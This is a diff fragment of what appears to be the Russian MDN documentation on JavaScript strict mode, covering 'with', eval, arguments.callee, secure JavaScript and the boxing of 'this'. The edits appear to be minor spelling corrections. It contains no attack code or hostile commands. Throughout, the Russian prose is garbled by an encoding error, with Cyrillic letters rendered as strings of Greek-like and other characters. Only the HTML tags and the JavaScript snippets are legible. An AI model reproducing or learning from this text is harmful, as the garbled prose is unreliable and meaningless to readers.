+<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ сопоставлСниС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с мСстом Π΅Ρ‘ опрСдСлСния Π² ΠΊΠΎΠ΄Π΅. МногиС ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ компиляции ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСрСмСнная <em>X</em> хранится Π² <em>этом ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ </em>мСстС исходного ΠΊΠΎΠ΄Π°. Иногда, ΠΏΡ€ΠΈ компиляции JavaScript простоС сопоставлСниС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с мСстом Π΅Ρ‘ опрСдСлСния Π² ΠΊΠΎΠ΄Π΅ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π±Π΅Π· выполнСния Ρ‚ΠΎΠ³ΠΎ самого ΠΊΠΎΠ΄Π°. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ ΠΆΠ΅ Ρ€Π΅ΠΆΠΈΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚Π°ΠΊΠΈΡ… случаСв, благодаря Ρ‡Π΅ΠΌΡƒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ компилятора Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эффСктивнСС.</p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, строгий Ρ€Π΅ΠΆΠΈΠΌ Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ использованиС <code>with</code>. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с <code>with</code> Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²ΠΎ врСмя выполнСния любоС имя Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π° свойство ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚Π°ΠΊ ΠΈ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π² ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅ΠΌ (ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π² глобальном) контСкстС -- Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎΠ± этом Π·Π°Ρ€Π°Π½Π΅Π΅. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ считаСт <code>with</code> синтаксичСской ошибкой, поэтому Π½Π΅ остаётся шанса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>with</code> для ссылки Π½Π° нСизвСстноС мСсто Π²ΠΎ врСмя выполнСния:</p>
@@ -206,7 +206,7 @@ eval('var y; delete y;'); // !!! </code>синтаксичСская ошибкΠ
<h3 id="Π£ΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅_eval_ΠΈ_arguments">Π£ΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅ <code>eval</code> ΠΈ <code>arguments</code></h3>
-<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ сниТаСтся количСство странностСй Π² ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ <code>arguments</code> ΠΈ <code>eval</code>, ΠΎΠ±Π° ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅ΡˆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство ΠΌΠ°Π³ΠΈΠΈ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄. Π’Π°ΠΊ <code>eval</code> добавляСт ΠΈΠ»ΠΈ удаляСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ мСняСт ΠΈΡ… значСния, Π° пСрСмСнная <code>arguments</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚ΡŒ своими проиндСксированными свойствами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ссылками (синонимами) для ΠΏΠΎΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ Π΄Π΅Π»Π°Π΅Ρ‚ большой шаг Π² прояснСнии этих Π΄Π²ΡƒΡ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΠ΅ ΠΈΡ… ΠΎΠ±ΡƒΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ лишь Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ†ΠΈΠΈ ECMAScript.</p>
+<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ сниТаСтся количСство странностСй Π² ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ <code>arguments</code> ΠΈ <code>eval</code>, ΠΎΠ±Π° ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅ΡˆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство ΠΌΠ°Π³ΠΈΠΈ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄. Π’Π°ΠΊ <code>eval</code> добавляСт ΠΈΠ»ΠΈ удаляСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ мСняСт ΠΈΡ… значСния, Π° пСрСмСнная <code>arguments</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚ΡŒ своими проиндСксированными свойствами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ссылками (синонимами) для ΠΏΠΎΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ Π΄Π΅Π»Π°Π΅Ρ‚ большой шаг Π² прояснСнии этих Π΄Π²ΡƒΡ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΠ΅ ΠΈΡ… ΠΎΠ±ΡƒΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ лишь Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ†ΠΈΠΈ ECMAScript.</p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова <code>eval</code> ΠΈ <code>arguments</code> Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹. ВсС ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ²Π»ΡΡŽΡ‚ΡΡ синтаксичСскими ошибками:</p>
@@ -235,7 +235,7 @@ console.assert(pair[0] === 42);
console.assert(pair[1] === 17);
</pre>
-<p>Π’-Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ…, свойство <code>arguments.callee</code> большС Π½Π΅ поддСрТиваСтся. Π’ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ свойство <code>arguments.callee</code> ссылаСтся Π½Π° саму Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для Π²Ρ‹Π·ΠΎΠ²Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈ Π±Ρ‹Π» создан ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code>. ΠœΠ°Π»ΠΎΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠΎΠ΅ свойство, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ функция Π·Π°Ρ€Π°Π½Π΅Π΅ извСстна, ΠΈ ΠΊ Π½Π΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΈ ΠΏΠΎ Π΅Π΅ ΠΈΠΌΠ΅Π½ΠΈ нСпосрСдствСнно. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, <code>arguments.callee</code> Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ затрудняСт Ρ‚Π°ΠΊΡƒΡŽ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ, ΠΊΠ°ΠΊ <a href="https://ru.wikipedia.org/wiki/ΠœΠ΅ΠΆΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½Π°Ρ_оптимизация#Инлайнинг">ΠΈΠ½Π»Π°ΠΉΠ½ΠΈΠ½Π³</a>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ сохранСна Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅Π·Π°ΠΈΠ½Π»Π°ΠΉΠ½Π΅Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° случай, Ссли присутствуСт ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΊ arguments.callee. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ arguments.callee прСвращаСтся Π² нСудаляСмоС свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ выбрасываСт ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅Π³Π°ΡŽΡ‰Π΅Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ любой ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ обращСния ΠΊ Π½Π΅ΠΌΡƒ:</p>
+<p>Π’-Ρ‚Ρ€Π΅Ρ‚ΡŒΠΈΡ…, свойство <code>arguments.callee</code> большС Π½Π΅ поддСрТиваСтся. Π’ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ свойство <code>arguments.callee</code> ссылаСтся Π½Π° саму Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для Π²Ρ‹Π·ΠΎΠ²Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈ Π±Ρ‹Π» создан ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code>. ΠœΠ°Π»ΠΎΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠΎΠ΅ свойство, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ функция Π·Π°Ρ€Π°Π½Π΅Π΅ извСстна, ΠΈ ΠΊ Π½Π΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΈ ΠΏΠΎ Π΅Ρ‘ ΠΈΠΌΠ΅Π½ΠΈ нСпосрСдствСнно. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, <code>arguments.callee</code> Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ затрудняСт Ρ‚Π°ΠΊΡƒΡŽ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ, ΠΊΠ°ΠΊ <a href="https://ru.wikipedia.org/wiki/ΠœΠ΅ΠΆΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½Π°Ρ_оптимизация#Инлайнинг">ΠΈΠ½Π»Π°ΠΉΠ½ΠΈΠ½Π³</a>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ сохранСна Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅Π·Π°ΠΈΠ½Π»Π°ΠΉΠ½Π΅Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° случай, Ссли присутствуСт ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΊ arguments.callee. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ arguments.callee прСвращаСтся Π² нСудаляСмоС свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ выбрасываСт ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅Π³Π°ΡŽΡ‰Π΅Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ любой ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ обращСния ΠΊ Π½Π΅ΠΌΡƒ:</p>
<pre class="brush: js">"use strict";
var f = function() { return arguments.callee; };
@@ -244,7 +244,7 @@ f(); // выдаст TypeError
<h3 id="БСзопасный_JavaScript">"БСзопасный" JavaScript</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ написаниС "бСзопасного" JavaScript ΠΊΠΎΠ΄Π°. БСйчас Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π±-сайты ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° сайтС <em>ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. </em>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, поэтому, Π² цСлях ограничСния доступа ΠΊ Π·Π°ΠΏΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ‚Π°ΠΊΠΎΠΉ JavaScript ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ частично ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½. Π“ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ JavaScript Π΄Π΅Π»Π°Π΅Ρ‚ это практичСски Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π±Π΅Π· многочислСнных ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π²ΠΎ врСмя исполнСния. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», исполняСмый языком ΠΈΠ½ΠΎΠ³Π΄Π° ΡΡ‚ΠΎΠ»ΡŒ массивСн, Ρ‡Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π»ΡŽΠ±Ρ‹Ρ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π²ΠΎ врСмя исполнСния скрипта ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΡ‚Π΅Ρ€Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Однако, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ особСнности строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, плюс ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ JavaScript, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈΠΌΠ΅Π» строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΈ вызывался ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ способом, сущСствСнно ΡΠ½ΠΈΠΆΠ°ΡŽΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°Ρ….</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ написаниС "бСзопасного" JavaScript ΠΊΠΎΠ΄Π°. БСйчас Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π±-сайты ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° сайтС <em>ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. </em>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, поэтому, Π² цСлях ограничСния доступа ΠΊ Π·Π°ΠΏΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ‚Π°ΠΊΠΎΠΉ JavaScript ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ частично ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½. Π“ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ JavaScript Π΄Π΅Π»Π°Π΅Ρ‚ это практичСски Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π±Π΅Π· многочислСнных ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π²ΠΎ врСмя исполнСния. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», исполняСмый языком ΠΈΠ½ΠΎΠ³Π΄Π° ΡΡ‚ΠΎΠ»ΡŒ массивСн, Ρ‡Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π»ΡŽΠ±Ρ‹Ρ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π²ΠΎ врСмя исполнСния скрипта ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΡ‚Π΅Ρ€Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Однако, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ особСнности строгого Ρ€Π΅ΠΆΠΈΠΌΠ°, плюс ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ JavaScript, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈΠΌΠ΅Π» строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΈ вызывался ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ способом, сущСствСнно ΡΠ½ΠΈΠΆΠ°ΡŽΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°Ρ….</p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ°ΠΊ <code>this</code>, Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π½Π΅ приводится ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ (Π½Π΅ "упаковываСтся"). Π’ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>this</code> всСгда прСдставляСт собой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚: Π»ΠΈΠ±ΠΎ это нСпосрСдствСнно ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π² случаС Π²Ρ‹Π·ΠΎΠ²Π° с <code>this</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅; Π»ΠΈΠ±ΠΎΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Π½Π½ΠΎΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π² случаС Π²Ρ‹Π·ΠΎΠ²Π° с <code>this</code> Ρ‚ΠΈΠΏΠ° Boolean, string, ΠΈΠ»ΠΈ number; Π»ΠΈΠ±ΠΎΒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ссли Ρ‚ΠΈΠΏ <code>this</code> это <code>undefined</code> ΠΈΠ»ΠΈ <code>null</code>. (Для Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ опрСдСлСния конкрСтного <code>this</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code>, <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, ΠΈΠ»ΠΈ <code>{{jsxref('Global_Objects/Function/bind', 'bind')}}</code>.) АвтоматичСская ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сниТаСт ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Π½ΠΎ ΠΈ выставляСт Π½Π° ΠΏΠΎΠΊΠ°Π· Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ρ‡Ρ‚ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… являСтся ΡƒΠ³Ρ€ΠΎΠ·ΠΎΠΉ бСзопасности, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ 